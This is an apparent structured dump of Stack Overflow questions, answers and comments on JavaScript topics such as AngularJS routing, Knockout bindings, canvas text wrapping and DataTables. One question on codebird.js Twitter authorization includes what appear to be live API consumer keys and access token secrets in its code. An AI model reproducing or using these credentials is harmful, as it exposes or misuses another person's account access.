has text: Glad to see you fixed the id selector unlike your original answer.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25627774

http://stackoverflow.com/comment/39909790
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/25557344
has text: You *literally* want the URL to be `http://example.com/${pageContext.request.contextPath}/login?action=login` ?

object-tag
type: Tag
tags question: http://stackoverflow.com/q/25653507
tag name: object-tag

http://stackoverflow.com/comment/39960432
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25584580
type: Comment
has text: @Fred-ii- `ref=upload_kost` is in `url`, i.e. it's a _GET_ parameter. the _XMLHttpRequest_ is opened as a _POST_, and then `formData` is sent as post data.

http://stackoverflow.com/comment/40161344
type: Comment
type: QuestionComment
has text: What do you mean by refresh div? What is the expected outcome?
score: 5
comment on: http://stackoverflow.com/q/25694701

http://stackoverflow.com/a/25705774
accepted answer of: http://stackoverflow.com/q/25705665
has body: There is no direct support for attaching an onclick handler to a notification. Instead, if you click a notification's body, it will generate a general chrome.notification.onClicked event, providing the ID of the notification. You will have, therefore, to maintain your own matching of IDs to URLs. var urls = {}; chrome.notifications.onClicked.addListener(notifyClick); chrome.notifications.onClosed.addListener(notifyClose); function notify(title, msg, link, callback) { var options = { title: title, message: msg, type: "basic", iconUrl: "Icon.png", isClickable: true // New in Chrome 32, alters the appearance? }; return chrome.notifications.create("", options, function(id) { // New ID will be generated urls[id] = link; }); } function notifyClick(id) { // Look up the URL: chrome.tabs.create({url: urls[id]}); // Optionally, close the notification: // chrome.notifications.clear(id, function(){}); } function notifyClose(id, byUser) { // Clean up the matching delete urls[id]; } Please note: there is a caveat regarding closing notification programmatically. If the notification is closed from the message center, it will not immediately disappear.
type: Answer
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25705665

http://stackoverflow.com/q/25641275
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25641850
type: Question
score: 0
answer count: 1
tagged with: highcharts
tagged with: javascript
has answer: http://stackoverflow.com/a/25641850
has title: HighCharts change default x-values spacing to 0.5
has body: I have a series of values by 0.5 minute: [ 0, 0.004, 0.008, 0.013, 0.017, 0.021, 0.025, 0.029, 0.033, 0.037, 0.042, 0.046, 0.05, 0.054, 0.058, 0.062, 0.067, 0.071, 0.075, 0.079, 0.083 ] something like that. When I don't specify categories for the x axis, it places my numbers at 0, 1, 2..., but I want them at 0, 0.5, 1, 1.5... Is there a way in the Highcharts config to specify the default spacing? I want to avoid generating a categories list, and I cannot use the {x: 0.5, y: 0.004} syntax, because the json would be too big (I'm generating data for like 3000 entries).

http://stackoverflow.com/q/25669163
favorite count: 0
tagged with: angularjs
type: AnsweredQuestion
upvote count: 3
has answer: http://stackoverflow.com/a/27959882
type: Question
tagged with: angular-ui-router
has title: ui-router prevent transitionTo to reload parent state
tagged with: javascript
accepted answer: http://stackoverflow.com/a/27959882
score: 3
downvote count: 0
answer count: 1
has body: I have a basic search - results page. This is my ui-router config: $stateProvider .state('search', { url: '/search', templateUrl: 'app/templates/search.html', controller: 'searchController' }) .state('search.results', { url: '/results/:searchParameters', templateUrl: 'app/templates/results.html', controller: 'resultController' }); This is how I send parameters from search to search.results that actually performs the GET $scope.search = function () { if (!$state.is('search.results')) { $state.go('search.results', { searchParameters: $scope.searchParameters }); } else { $state.transitionTo('search.results', { searchParameters: $scope.searchParameters }, { reload: true, inherit: true, notify: true }); } }; and this is my search.html Stato manifestazioni: Aperte Chiuse <li ng-show="searchParameters.year.length < 4">Inserisci un anno per abilitare la ricerca Unfortunately $state.transitionTo will not only reload search.results (good) but also reload search (bad!), thus cleaning my form. What I did right now is to send an event from ResultsController to SearchController in order to restore the scope and thus "refilling" the form. I'd like to know if there's a better solution. Thank you.

http://stackoverflow.com/q/25616253
has answer: http://stackoverflow.com/a/25616303
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25616303
has title: KnockOut data-bind="visible: Need help to troubleshhot the issue
has body: I want to hide the div if array length is >0. By putting an alert message I confirmed array length is = 0 and then div should be hidden. But when run the app div is visible. 0"> You will see this message only when 'myValues' has at least one member.
type: AnsweredQuestion
tagged with: knockout.js
type: Question
tagged with: arrays
tagged with: javascript

http://stackoverflow.com/comment/40014982
comment on: http://stackoverflow.com/q/25614375
has text: Browserify does not execute your code when scanning for dependencies.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/28006172
accepted answer of: http://stackoverflow.com/q/25600968
upvote count: 3
score: 3
has body: What about using the controller associated with that view? .controller('YourCtrl', function($scope, $stateParams, Something) { alert("page loaded"); })
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25600968
type: Answer

http://stackoverflow.com/comment/39907399
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25556303
has text: You can get all keyboard events from here http://javascript.info/tutorial/keyboard-events
score: 0

http://stackoverflow.com/comment/39975571
score: 0
comment on: http://stackoverflow.com/q/25592779
has text: Well... There might be no other reason than me not knowing I could... I shall look into this. Thanks.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40024139
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25619404
type: Comment
has text: I've just looked at the link to the dsv documentation. It looks like you need an extra step, I'll edit my answer

http://stackoverflow.com/a/25659412
downvote count: 0
has body: I fixed your code and you can see it here. The wording was messing me up. Once I change the View wording to match the controller wording, it was good. var appan = angular.module('taskPanel', []); appan.controller('TasksController', ['$scope', function($scope){ $scope.tasksInActive = [ { title: "I m first" }, { title: "I m Second" }, { title: "I m thrid" } ]; $scope.tasksActive = [ {title: "i m incompletred 1"}, {title: "i m incompletred 2"}, {title: "i m incompletred 3"} ]; $scope.pushActive = function(scope, item){ $scope.tasksInActive = removeItemFromList(item, $scope.tasksInActive); $scope.tasksActive.push(item); }; $scope.pushInActive = function(scope, item){ $scope.tasksActive = removeItemFromList(item, $scope.tasksActive); $scope.tasksInActive.push(item); }; function removeItemFromList(item, list){ return list.filter(function(i){ return i != item; }); } }]);
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25658638
has comment: http://stackoverflow.com/comment/40096979
score: 1

http://stackoverflow.com/a/25590167
has comment: http://stackoverflow.com/comment/39972213
accepted answer of: http://stackoverflow.com/q/25589994
has body: For your code to work you must ensure that the html is present on the page after the javascript function To answer your question, using id's to select the DOM elements is certainly a better option. Maybe a suggestion, use an MVVM framework such as knockout/ember/backbone/angular to do any dynamic DOM manipulation. Example in knockout here ---> http://jsfiddle.net/x0t8dxzw/
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/25589994
type: Answer

http://stackoverflow.com/q/25672274
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25672717
tagged with: http://stackoverflow.com/tag/html
tagged with: dom
tagged with: knockout.js
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/25672611
tagged with: javascript
score: -1
answer count: 2
upvote count: 0
has body: I'm trying to clear and reset my input and select fields using knockoutJS. below is a snippet on how it kinda works but edited for brevity. Javascript Code view = (function() { var self = this; self.anItem = ko.observable(new AnItem()); ko.applyBindings(self) self.addItem = function() { self.somewhere.push(this); self.anItem = new AnItem(); /////this doesn't clear the form } })(); function AnItem() { this.Name= ""; this.Type= 1 } Html Code add
favorite count: 0
has title: How to clear or reset inputs?
has comment: http://stackoverflow.com/comment/40119816

http://stackoverflow.com/a/25643106
answers question: http://stackoverflow.com/q/25642860
accepted answer of: http://stackoverflow.com/q/25642860
has body: You cannot reference an object while initialization. Explanation and suggested solution found here ! Show you may want something like this: var Player = new function() { this.player = $('#player'); this.video = this.player; }; console.log(Player.player);
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/comment/39983131
type: QuestionComment
has text: Am I wrong for thinking I should use a single php file to store several server-side functions (like web methods)? This is what I am trying to do. With JavaScript handling events front-end to pass data to a server-side function.
comment on: http://stackoverflow.com/q/25596229
score: 0
type: Comment

http://stackoverflow.com/comment/39937122
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25571662
type: Comment
has text: In that case, structure your code in this manner:- view definition in myView.js, this line of code- 'windowApp.start()' in another file called appStart.js, and the rest of the code in app.js. Then you can include these files in your index.html in the following sequence:- app.js, myView.js and appStart.js

multiple-file-upload
tags question: http://stackoverflow.com/q/25679911
type: Tag
tag name: multiple-file-upload

http://stackoverflow.com/comment/40125521
has text: @user2796982 Your returning subview inside `$(function(){});` not your definition function. Which you also do in `main.js` look [here](http://requirejs.org/docs/api.html#deffunc)
type: Comment
comment on: http://stackoverflow.com/a/25675110
score: 0
type: AnswerComment

meteor-helper
tags question: http://stackoverflow.com/q/25694826
tag name: meteor-helper
tags question: http://stackoverflow.com/q/25613343
type: Tag

http://stackoverflow.com/comment/40081855
comment on: http://stackoverflow.com/q/25611910
score: 0
type: Comment
type: QuestionComment
has text: @mrdoob i don't have any devices with iOS 7 installed right now, but had someone confirm for me that the problem exists over there (on an iPad running 7.1)

http://stackoverflow.com/a/25717939
score: 1
answers question: http://stackoverflow.com/q/25706201
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40265658
type: Answer
has body: Just for fun - FIDDLE. It reads the contents of the divs, then creates an array of all possible permutations, "pairs" (3 'variables' taken 2 at a time). Then the individual letters that make up the contents of the divs are parsed out. Then each letter is matched to the pairs to see how many times it occurs - if it is just one time for each pair, that particular 'pair' is added to the solution array. After all of the combinations are analyzed, the solutions array is presented. Not very elegant, but seems to work. JS var totaldivs = $('div').length; //count total divs or objects console.log("Total divs = " + totaldivs); var elements = []; //Read objects from the divs and assign to array elements for(var i = 0; i &lt; totaldivs; i++ ) { elements[i] = $( 'div:eq(' + i + ')' ).text(); elements[i] = elements[i].replace(/\s+/g, ''); console.log(elements[i]); } var objects = []; //make array of all individual objects var loopvar = 0; for(var n = 0; n &lt; totaldivs; n++) { poshyphen = elements[n].indexOf('-'); objects[loopvar] = elements[n].substring(0, poshyphen); objects[loopvar+1] = elements[n].substring(poshyphen+1, elements[n].length); loopvar = loopvar + 2; } $('.putmehere2').html(objects); var pair = []; var pairindex = 0; //make and array of all combinations of objects - pair for(var r = 0; r &lt; totaldivs; r++) { for(var s = 0; s &lt;totaldivs; s++) { if(elements[r] != elements[s]) { pair[pairindex] = elements[r] + '-' + elements[s]; pairindex++; } } } $('.putmehere').html(pair); var solution = []; var sol = 0; var count = []; var reg = new RegExp("regex","g"); for( var q = 0; q &lt; pair.length; q++) { for( var r = 0; r &lt; 4; r++) { var regex = new RegExp( objects[r], 'g' ); count[r] = (pair[q].match( regex )||[]).length; console.log("Pair= " + pair[q] + " Objects = " + objects[r] + " Count= " + count[r]); } if( count[0] == 1 &amp;&amp; count[1] == 1 &amp;&amp; count[2] == 1 &amp;&amp; count[3] == 1 ) { solution.push( pair[q]); } } $('.putmehere2').html(solutio…

http://stackoverflow.com/q/25621307
has answer: http://stackoverflow.com/a/25625174
type: Question
downvote count: 0
answer count: 1
tagged with: controls
tagged with: javascript
favorite count: 0
has body: I couldn't find any function to activate / desactivate layers ( overlayMaps ) when you click a button. For example, I'm trying to make a zoom and activate (display) all the layers when a user clicks a button. Any idea? Thanks.
has title: Activate / Desactivate layers on leaflet.js
type: UnansweredQuestion
upvote count: 1
tagged with: dictionary
tagged with: leaflet
score: 1

http://stackoverflow.com/comment/40176177
score: 0
comment on: http://stackoverflow.com/q/25703050
type: Comment
type: QuestionComment
has text: I don't understand. Why do you want to insert something into a closed modal?

dc.js
tag name: dc.js
tags question: http://stackoverflow.com/q/25709061
type: Tag
tags question: http://stackoverflow.com/q/25690301
tags question: http://stackoverflow.com/q/25565177

http://stackoverflow.com/comment/40049029
comment on: http://stackoverflow.com/q/25590757
has text: What happens if you add a div around the section? Does it strip that away and leave the section?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40025763
has text: For your solution - in case of OPs situation he/she needs to do: `if (getPropByPath(data, 'results.users') && getPropByPath(data, 'results.users').length)`? Looks a bit redundant to me.
comment on: http://stackoverflow.com/a/25618839
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/25571716
has body: I am using console.log, console.debug, console.info and console.warn. I din't find any notice about the browser compatibility of this console-function. Which browser do exactly support what kind of console-methods?
duplicate of: http://stackoverflow.com/q/14086675
type: UnansweredQuestion
tagged with: javascript
tagged with: console
has answer: http://stackoverflow.com/a/25571771
type: Question
score: 0
linked to: http://stackoverflow.com/q/14086675
has title: Browser compatibility of console JavaScript
has comment: http://stackoverflow.com/comment/39936778
answer count: 1
tagged with: logging

http://stackoverflow.com/comment/39924309
type: Comment
type: QuestionComment
has text: Yes its already set to ` ` and when i change my ie to compatibility mode still it break to that error
comment on: http://stackoverflow.com/q/25565032
score: 0

http://stackoverflow.com/comment/40104624
has text: how can i solve this i just want to add the data on click
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25663603

cross-site
tags question: http://stackoverflow.com/q/25624513
tag name: cross-site
type: Tag

http://stackoverflow.com/q/25633979
possible better answer: http://stackoverflow.com/a/25634090
has answer: http://stackoverflow.com/a/25634090
has answer: http://stackoverflow.com/a/25654260
downvote count: 0
tagged with: javascript
tagged with: jquery
has body: Is there a way to resize the height of a canvas according to text line count? The text will reside at bottom of canvas. An image will also be drawn into canvas at top-left most position of canvas, at same time of text, so the text will always start at a fixed location on canvas just under the image. I just want for the canvas to resize vertically according to text line-count, not while I am typing, only after I click a button after the text has been typed in a textarea. I'm using this for text: ... var str = $('#TEXTAREA').val(); var splittext = $.map(str.split(" "), function (t) { // Split words &gt; than 40 chars return t.match(/[\s\S]{1,40}/g) || []; }).join(" "); qrc.font = 'normal normal 14px monospace'; qrc.textAlign = 'center'; qrc.fillStyle = '#000'; wrapText(qrc, splittext, x, y, maxWidth, lineHeight); function wrapText(context, text, x, y, maxWidth, fontSize, fontFace){ var words = text.split(' '); var line = ''; var lineHeight = fontSize; context.font=fontSize+" "+fontFace; for(var n = 0; n &lt; words.length; n++){ var testLine = line + words[n] + ' '; var metrics = context.measureText(testLine); var testWidth = metrics.width; if(testWidth &gt; maxWidth) { context.fillText(line, x, y); line = words[n] + ' '; y += lineHeight; if(++lineCount&gt;6){return(y);} // Change to "Add 14px to canvas height at each line count" ? } else { line = testLine; } } context.fillText(line, x, y); return(y); } Currently, this code doesn't print text beyond 6 lines of text. I don't know where in the code to modify / add (see comments in code). Any hints? UPDATE w/ FIDDLE Here's a fiddle to experiment with. Please use that fiddle in your answer. Read TODO comment in fiddle. I'm stumped, but we're nearly thar! Thx for input. http://jsfiddle.net/uL84x7vw/12/ UPDATE w/ FIDDLE This fiddle is same as previous but moves the image placeholder code to bottom of fiddle code so it doesn't get cleared. It's looking better but all lines of text except last line of text are still being wipe…
accepted answer: http://stackoverflow.com/a/25654260
type: AnsweredQuestion
score: 2
linked to: http://stackoverflow.com/q/4938346
has title: HTML 5 Canvas | Resize height of canvas according to text line count?
tagged with: html5-canvas
linked to: http://stackoverflow.com/q/7242006
favorite count: 0
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/25634121
linked to: http://stackoverflow.com/q/4858187
answer count: 3

http://stackoverflow.com/a/25577045
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/39947556
accepted answer of: http://stackoverflow.com/q/25572887
answers question: http://stackoverflow.com/q/25572887
has body: Ok, it seems that it's an issue with my choice of ScatterChart, var options = { hAxis: {title: xTitle}, series: calculateSeries(), vAxes: {0: {title: y1Type }, 1: {title: y2Type} }, pointSize: 0.5, legend: {position: 'top', textStyle: {fontSize: 10}} }; var chart = new google.visualization.LineChart(document.getElementById('graph')); chart.draw(totalData, options); I've changed it to LineChart and it's working fine, by keeping the pointSize option, the appearance is almost completely unchanged. Thanks for your help juvian.
type: AcceptedAnswer

http://stackoverflow.com/a/25706826
has body: Your success functions are callbacks. So, your question comes logically: What is a callback? Well, when you send a request from the client-side to the server, the server will handle the request and send back the response. However, client-side must have a handler for the event when the request successfully returned the response. This kind of event is the callback. The parameter of the callback is the effective response from the server. Now, you had two calls for find and a call for first. .find sends the query and expects to get the list of resulting records as a response. .first sends the query and expects to get the first record which matches the criteria. You have a query, where you expect results which have the title of "I'm Hungry". The parameter called list should hold those values (you can have any names for your callback parameters). Next, you expect to have an object having a playerEmail of "dstemkoski@example.com". You are calling first, because email should be unique and you want to optimize the query on server-side and handle a singe object instead of a list on client-side. Finally, you query by playerName, matching "Dan Stemkoski" and you expect the results to hold the players matching that name.
has comment: http://stackoverflow.com/comment/40193864
upvote count: 1
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40211274
has comment: http://stackoverflow.com/comment/40185147
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25706143
accepted answer of: http://stackoverflow.com/q/25706143
has comment: http://stackoverflow.com/comment/40190974

http://stackoverflow.com/q/25579519
tagged with: css
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25579564
type: Question
has body: Hello i have started to learn Javascript and i was wondering if there is a way to remove a specific attribute from the style here is an example that explain what i mean this is a div tag with a style so if i want to remove the box-shadow from the style attribute how can i do this here is what i have done : correct me please ... thanks
has answer: http://stackoverflow.com/a/25579585
has title: Javascript Remove specific attribute from style
accepted answer: http://stackoverflow.com/a/25579537
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25579564
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25579537
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/39996396
type: QuestionComment
has text: here is a fiddlefor the code your provided but no error, can you try to use it to reproduce? http://fiddle.jshell.net/leighking2/nbf2kcde/. Also what line does the error refer to data.forEach or myDoughnut.segments.forEach
comment on: http://stackoverflow.com/q/25597304
score: 0
type: Comment

http://stackoverflow.com/comment/40081223
score: 0
has text: anyone able to assist or guide. Thanks
comment on: http://stackoverflow.com/q/25647879
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25704720
downvote count: 0
has body: It's JavaScript, and this is the code they are using: //this is for video on stage CharacterSelect.ui.modelVideo = ModelVideo.build($(".model-video")); //and this is when the page is ready $(document).ready(function() { if (ModelVideo.supportsVideo &amp;&amp; !$('html').hasClass('ie')) { var modelVideo = videoController.create(".model-video"); } });
type: Answer
answers question: http://stackoverflow.com/q/25703850
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/41496364

http://stackoverflow.com/q/25707458
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40194582
type: Question
has body: [id(0x00000002), helpstring("method ReadFromFile")] VARIANT ReadFromFile( [in] BSTR FilePath, [out] FileStatus* status); I want to call this function from ActiveX control. but need to pass "writable pointer" to the function. This is the question: How could i pass a argument to function using javascript ? Is that possible ?
has comment: http://stackoverflow.com/comment/40184893
tagged with: activex
has title: call ActiveX method with return writable pointer
tagged with: dcom
tagged with: com
has comment: http://stackoverflow.com/comment/40193523
has comment: http://stackoverflow.com/comment/40193231
tagged with: javascript
has comment: http://stackoverflow.com/comment/40194151
score: 0
tagged with: windows
has comment: http://stackoverflow.com/comment/40193365
answer count: 0
has comment: http://stackoverflow.com/comment/40190954

http://stackoverflow.com/a/25580238
answers question: http://stackoverflow.com/q/25580181
has comment: http://stackoverflow.com/comment/39952840
type: Answer
score: 2
downvote count: 0
has body: Yes. Javascript errors can have types, and there is a standard error type hierarchy. You can also write your code to "throw" things that are not error objects. (In fact, since the catch clause in Javascript / ECMAScript does not discriminate based on the type of the exception, exception handling tends to be rather crude; i.e. "catch all errors" and then attempt to recover. Hence, to a first order, it doesn't matter what you throw.) The ECMAScript 5.1 spec says that syntax errors are "early errors" and that they must be reported before the program is executed. An exception to this is syntax errors detected in code being run using eval. However, the spec doesn't say how early errors are to reported, or what happens afterwards. (At least, I don't think it does ...) I believe that a common strategy for a Javascript parser/compiler/interpreter to skip to the enclosing block, and replace the affected code with code that throws an exception (e.g. SyntaxError) if it is run. References: http://www-archive.mozilla.org/js/language/js20-1999-02-18/error-recovery.html https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError EcmaScript 5.1 - Errors
upvote count: 2

http://stackoverflow.com/q/25702410
has answer: http://stackoverflow.com/a/25702861
score: 0
has title: Referring css and js files from sub domain
tagged with: http://stackoverflow.com/tag/html
tagged with: css
type: AnsweredQuestion
tagged with: php
accepted answer: http://stackoverflow.com/a/25702861
type: Question
has comment: http://stackoverflow.com/comment/40174968
has body: I has one website with a theme that uses it's own stylesheet and javascript. I want to create multiple sub domains that uses different theme from the main site. When i have created a subdomain and was referring sub domain css and js files, it is not able to find it I want sub-domain to refer different theme than main site theme My main site is under public_html/example public_html/example/css public_html/example/css/exm.css My SubDomain has following hierarchy public_html/example/subdomain/sub1 public_html/example/subdomain/sub2 and css and js are under public_html/example/subdomain public_html/example/subdomain/css public_html/example/subdomain/css/exm.css public_html/example/subdomain/sub1/index.html So i want to refer exm.css from index.html from sub/index.html
answer count: 1
tagged with: javascript

http://stackoverflow.com/a/25663966
has comment: http://stackoverflow.com/comment/40104532
type: Answer
answers question: http://stackoverflow.com/q/25663842
accepted answer of: http://stackoverflow.com/q/25663842
has comment: http://stackoverflow.com/comment/40104919
score: 4
upvote count: 4
has body: Execute the for-loop in the complete callback var tests = []; db.serialize(function() { db.each("SELECT lot_id, status FROM TestTable ORDER BY lot_id ASC", function(err, row) { tests.push(row.status); console.log("Read "+row.lot_id+" state: "+row.status); }, function() { // this callback is executed when the query completed for (i = 0; i &lt; tests.length; i++) { // Do something } }); }); db.close();
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/72909919

http://stackoverflow.com/comment/40053026
comment on: http://stackoverflow.com/a/25635026
type: AnswerComment
has text: Thanks so much that works perfect. And yes Hendyanto..now that I see what's really happening I realize that the script piece can go back into one of my .js files or somewhere else for cleanup.
type: Comment
score: 1

http://stackoverflow.com/comment/39911508
comment on: http://stackoverflow.com/q/25558278
score: 1
type: Comment
type: QuestionComment
has text: please provide a plunker

http://stackoverflow.com/comment/39901132
comment on: http://stackoverflow.com/a/25552805
type: AnswerComment
has text: @Bergi Piece updated. `deferred` , `promise` removed. Thanks, again.
score: 0
type: Comment

http://stackoverflow.com/q/25670001
type: Question
has body: I would like to ask if is it possible to Authorize app on twitter using codebird.js by bypassing pincode entry. This is my code (using pincode): $(document).ready(function () { $("#twitterLogin").on("click", function() { // handle button click here cb.__call( "oauth_requestToken", {oauth_callback: "oob"}, function (reply) { // stores it cb.setToken(reply.oauth_token, reply.oauth_token_secret); // gets the authorize screen URL cb.__call( "oauth_authorize", {}, function (auth_url) { //window.open(auth_url); window.open(auth_url,"MsgWindow",'height=202,width=800'); } ); } ); }); $("#tweet").on("click", function() { cb.__call( "oauth_accessToken", {oauth_verifier: document.getElementById("rhymeText").value}, function (reply) { // store the authenticated token, which may be different from the request token (!) cb.setToken(access_token_key, access_token_secret); alert('Auth completed!'); // if you need to persist the login after page reload, // consider storing the token in a cookie or HTML5 local storage } ); }); $("#auth").on("click", function() { cb.__call( "statuses_updateWithMedia", { "status": "The bird is on fire!. @gaspersopi", "media[]": "iVB..SuQmCC" }, function (reply) { console.log(reply); alert('Image posted!'); } ); }); var consumer_key = "ao856hSerLRDH1xXyfSXvvYRs"; var consumer_secret = "9jMK2f74QyCeAlpikmn4VIfjZkvnOxQ3pmYEviez86yaS9PRoH"; var access_token_key = "955855880-ko408mWNBWbWLbDqe2MjF3cpXvmPKzVQzFZW5YOj"; var access_token_secret = "J6Yh0ZvAoWaeve7CMCQ9RbRLcj8ISbNTZ4qVKCBp95N1U"; var cb = new Codebird; var current_url = location.toString(); cb.setConsumerKey(consumer_key, consumer_secret); }); This is what i also tyied but it didn't work because match method always returns null. var cb = new Codebird; var current_url = location.toString(); var query = current_url.match(/\?(.+)$/).split("&amp;amp;"); var parameters = {}; var parameter; cb.setConsumerKey("STUFF", "HERE"); for (var i = 0; i &lt; query.length; i++) { parameter = query[i].split("="); i…
downvote count: 0
tagged with: javascript
answer count: 1
score: 1
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/27223164
has title: Twitter codebird.js authorization without pincode
tagged with: twitter
upvote count: 1

http://stackoverflow.com/comment/40029864
comment on: http://stackoverflow.com/q/25622510
type: Comment
type: QuestionComment
has text: It would be best if you could re-create this in a [jsfiddle](http://www.jsfiddle.net) as well as add some snippets of HTML and CSS to your question.
score: 1

http://stackoverflow.com/a/25695257
answers question: http://stackoverflow.com/q/25694758
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40195832
has comment: http://stackoverflow.com/comment/40172615
has body: Unfortunately everything gets translated to triangles. However, you may be able to achieve the results you are after with this code: var edges = new THREE.EdgesHelper( mesh ); scene.add( edges );
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25694758

http://stackoverflow.com/q/25577830
downvote count: 0
tagged with: javascript
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/39948625
has body: I have asked a similar question but I feel this is different. I am looking over a debounce function by David Walsh here. Any ideas how to make it stop, automatically, after let's say 3 iterations? / Returns a function, that, as long as it continues to be invoked, will not // be triggered. The function will be called after it stops being called for // N milliseconds. If `immediate` is passed, trigger the function on the // leading edge, instead of the trailing. function debounce(func, wait, immediate) { var timeout; return function() { var context = this, args = arguments; clearTimeout(timeout); timeout = setTimeout(function() { timeout = null; if (!immediate) func.apply(context, args); }, wait); if (immediate &amp;&amp; !timeout) func.apply(context, args); }; };
type: UnansweredQuestion
has title: Making a debounce function stop after a several iterations
has comment: http://stackoverflow.com/comment/39950603
answer count: 0
has comment: http://stackoverflow.com/comment/39948386
upvote count: 1
type: Question

http://stackoverflow.com/comment/40065128
type: QuestionComment
comment on: http://stackoverflow.com/q/25631212
score: 0
has text: @lavrton I've updated the post with jsfiddle link. Uncomment `stage.scale` to see how it works with scaling. Maybe I don't get something, but I expected coordinates being mapped to canvas dimensions when scaling used.
type: Comment

http://stackoverflow.com/a/25610442
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25610210
has body: I would set a class to the buttons, call getElementsByClassName, and loop through the results, setting each one to disabled I made a jsFiddle to demonstrate this. HTML: Click Me Click Me Click Me Click Me JS: var buttons = document.getElementsByClassName("btn"); for (var x=0;x<buttons.length;x++) { buttons[x].disabled = true; buttons[x].style.pointerEvents = 'none'; //disables div buttons }
has comment: http://stackoverflow.com/comment/40184695
has comment: http://stackoverflow.com/comment/40197270

http://stackoverflow.com/a/25682206
has comment: http://stackoverflow.com/comment/63462336
downvote count: 0
answers question: http://stackoverflow.com/q/25642227
has comment: http://stackoverflow.com/comment/63494970
type: Answer
score: 2
upvote count: 2
has body: With the this.superclass you can access the superclass of your component. So this.superclass.methodName.call(this [, parameter1 [, parameter2 [...]]]) will execute the method methodName of your superclass and set the scope to your actual component. If you dont know the JS function call i'd recommend read into call and apply. You now can see that this.superclass.constructor.call(this); will actually execute the constructor of the superclass.

http://stackoverflow.com/comment/40135048
has text: No. Not possible... Path will be confusion....
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25680713

http://stackoverflow.com/comment/40031068
type: Comment
has text: since i am using asp.net mvc , i just pass model object to view.The view does the rest.
type: QuestionComment
comment on: http://stackoverflow.com/q/25623065
score: 0

http://stackoverflow.com/a/25700592
has body: you can use the each() function: $('#resultperpage span').click(function() { if($(this).html().substr($(this).html().length-1)!='A'){ $('#resultperpage span').each(function(){ $(this).html($(this).html() + 'A'); }); } }); DEMO
type: Answer
answers question: http://stackoverflow.com/q/25700544
score: 0

slideshow
tags question: http://stackoverflow.com/q/25702127
type: Tag
tags question: http://stackoverflow.com/q/25634883
tags question: http://stackoverflow.com/q/25652996
tag name: slideshow
tags question: http://stackoverflow.com/q/25650752

http://stackoverflow.com/q/25647879
tagged with: datatables
has comment: http://stackoverflow.com/comment/43040061
tagged with: datatable
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40099011
has body: I have recently started working on datatables and have so far with help from some genues in the community been able to get to a point in my code so far. The issue I have is 1: when I refresh my browser, because it takes few seconds to display the datas, the table headings all appears to be merged together 2: Also I am using datatables v1.10.x and i tried using the new APIs like alertTable.clear().draw(); instead of dataTable().fnClearTable(); but I am getting alertTable.clear is not a function. I noticed changing from dataTable to DataTable seems to have an effect but it still does not work. Any help will be much appreciated as I am still new to this plugin. Code: &lt;script type="text/javascript" charset="utf-8"&gt; var red=0; var orange=0; $(document).ready(function (){ setInterval (function(){ $.getJSON("ajax/maint1_json.txt", function (pcheckdata){ &lt;!-- ------------------- Extract all Alerts ---------------------- --&gt; if (!$.fn.DataTable.isDataTable('#alert-table')) { $('#alert-table').dataTable({ "bInfo": false, "bJQueryUI": true, "bPaginate": false, "bLengthChange": false, "bFilter": false, "data": pcheckdata.alerts, "aaSorting": 3, "desc" , "columns": [ { "mData": "source" }, { "mData": "host" }, { "mData": "description" }, { "mData": "value" } ], "fnRowCallback": function( nRow, aData, iDisplayIndex, iDisplayIndexFull ) { if ( aData.value == "5" ) { $('td', nRow).css('background-color', 'Red'); red++; } else if ( aData.value == "4" ) { $('td', nRow).css('background-color', 'Orange'); orange++; } }, "aoColumnDefs": [ { "targets": [ 0 ], "visible": false, "searchable": false }, { "targets": [ 3 ], "mRender": function( data, type, full ) { if (data == "0") { return '&lt;input class="button" type="button" id="ack-action" value="Acknowledge Alert" onclick="&lt;-- call a function to modify value --&gt;;"&gt;'; } return data; } } ], &lt;-- if json value is null or empty --&gt; 'fnServerData': function (sSource, aoData, fnCallback) { $.ajax ({ 'dataType':…
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40081223
has title: dataTables not formatted on Page refresh
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25710230
type: Answer
